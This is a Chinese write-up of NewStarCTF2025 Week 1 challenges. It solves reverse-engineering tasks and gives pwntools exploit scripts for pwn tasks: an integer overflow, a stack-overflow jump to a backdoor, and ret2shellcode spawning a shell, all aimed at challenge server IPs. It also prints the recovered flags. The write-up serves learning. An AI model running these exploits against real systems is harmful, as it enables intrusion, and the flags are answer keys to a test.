NewStarCTF2025-WEEK1

Reverse

Strange Base

IDA定位到函数

明显是将我们的输入结果base64加密后和buf2比较

跟进分析base64_encode函数

发现很明显的base64加密特征,直接解密发现失败

大概率是换表base64,跟进上面的table提取出表解密即可

解密

python 复制代码
import base64
import string

str1 = "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=" # 密文

string1 = "HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXVKJNMF"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

flag{Wh4t_a_cra2y_8as3!!!}

X0r

IDA分析主函数代码,发现把我们的输入存储到str中,每三个为一组,每组内按下标分别进行异或

直接对照逻辑逆向就行

python 复制代码
enc="anu`ym7wKLl$P]v3q%D]lHpi"
key=[0x13,0x13,0x51]
enc_list=[0]*len(enc)
flag=""
for i in range(len(enc)):
    enc_list[i]=(ord(enc[i])^key[i%3])
for i in range(len(enc)):
    if i%3==0:
        flag+=chr(enc_list[i]^0x14)
    elif i%3==1:
        flag+=chr(enc_list[i]^0x11)
    else:
        flag+=chr(enc_list[i]^0x45)
print(flag)

flag{y0u_Kn0W_b4s1C_xOr}

Puzzle

IDA分析主函数,发现flag被切分为四个部分,那我们只需要找到四个部分即可

按题目说明依次找出part1 part2 part3 part4即可

查字符串找到part4

下面有个提示second

查交叉引用,得到part2

字符串列表中还存在

看交叉引用,得到part1

还有可疑串

继续查看交叉引用

将数据异或得到part3

拼在一起就行

flag{Do_Y0u_Like_7his_Jigs@w_puzz1e_Gam3}

EzMyDroid

JADX分析APK文件

找到加密函数和主要加密逻辑

发现加密过程是把我们的输入先进行AES加密,然后BASE64加密,全部都在Java层

所以直接解密base64,再解AES即可

flag{@_g00d_st@r7_f0r_ANDROID}

plzdebugme

IDA分析主函数

发现经过了很多种加密,直接逆向算法的话耗时较大,所以这里选择动调的方式

直接在最后依次加密完成后下断点,动调提取数据即可

触发断点后在flag处提取数据

flag{It3_D3bugG_T11me!_le3_play}

PWN

GNU Debugger

是一个熟悉GDB的题,按照提示走就行

第一关是获取R12中的值

按c后输入R12的值即可来到第二关

第二关是获取内存地址处的数据

获取内存中数据然后厨子转字符串,来到第三关

要求我们下断点,在该地址处下断点

触发断点后一直ni到最后一关

最后一关是修改地址0x7fffffffd7d4处的值为0xdeadbeef

先查看该处的值,然后通过set进行修改,得到最终flag

INTbug

IDA查看func

因为这里的v1为int16,是一个有符号的16位整数,最高位为符号位

所以我们只需要输入32768个1,使得v1溢出为负数即可

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./INTbug")
p=remote("47.94.87.199",34898)
# gdb.attach(p)
# pause()
p.recvline("welcome to NewStarCTF2025!\n")
payload = b'1\n' * 32768
p.sendline(payload)
p.interactive()

pwn's door

IDA查看,发现只是把我们的输入进行比较

满足条件即可获取权限

编写脚本

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./door")
p=remote("39.106.48.123",30317)
p.recvline()
binsh=0x6B6579
p.sendline(str(binsh))
p.interactive()

overflow

查看main

直接跟进try

发现存在栈溢出,覆盖长度为0x100+0x8

编写payload

这里会有EOF,需要一个ret滑一下

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./overflow")
p=remote("39.106.48.123",37508)
p.recvline()
backdoor=0x0401200
ret=0x401016
p.sendline(b"a"*0x108+p64(ret)+p64(backdoor))
p.interactive()

input_function

我们可以发现buf映射到的虚拟地址具有可读可写可执行的权限

也可以用vmmap查看

并且后续会调用buf,典型的ret2shellcode,编写EXP

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./input_function")
p=remote("39.106.48.123",36843)
p.recvline("please input a function(after compile)")
# gdb.attach(p)
# pause()
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
相关推荐
vortex54 小时前
RDP 启用多用户会话(当前用户无感知)
windows·网络安全·渗透测试
unable code18 小时前
攻防世界-Misc-SimpleRAR
网络安全·ctf·misc·1024程序员节
Oxo Security19 小时前
【AI安全】检索增强生成(RAG)
人工智能·安全·网络安全·ai
小李独爱秋21 小时前
计算机网络经典问题透视:什么是NAPT?它有哪些特点?
网络·网络协议·计算机网络·网络安全·智能路由器
Whoami!21 小时前
⸢ 拾叁-Ⅱ⸥⤳ 安全水位评估框架(下):安全水位指标
网络安全·信息安全·安全水位指标
知花实央l21 小时前
【Web应用实战】 文件上传漏洞实战:Low/Medium/High三级绕过(一句话木马拿webshell全流程)
前端·学习·网络安全·安全架构
介一安全1 天前
从 0 到 1 玩转 2025 最新 WebGoat 靶场:环境搭建 + 全关卡漏洞解析(超级详细)
java·web安全·网络安全·靶场
sadandbad2 天前
[vulhub靶机通关]DC-2(rbash绕过_git提权)
网络·sql·web安全·网络安全
麦烤楽鸡翅2 天前
幂数加密(攻防世界)
网络安全·密码学·ctf·crypto·解密·攻防世界·幂数加密
椰羊sqrt2 天前
CVE-2025-4334 深度分析:WordPress wp-registration 插件权限提升漏洞
android·开发语言·okhttp·网络安全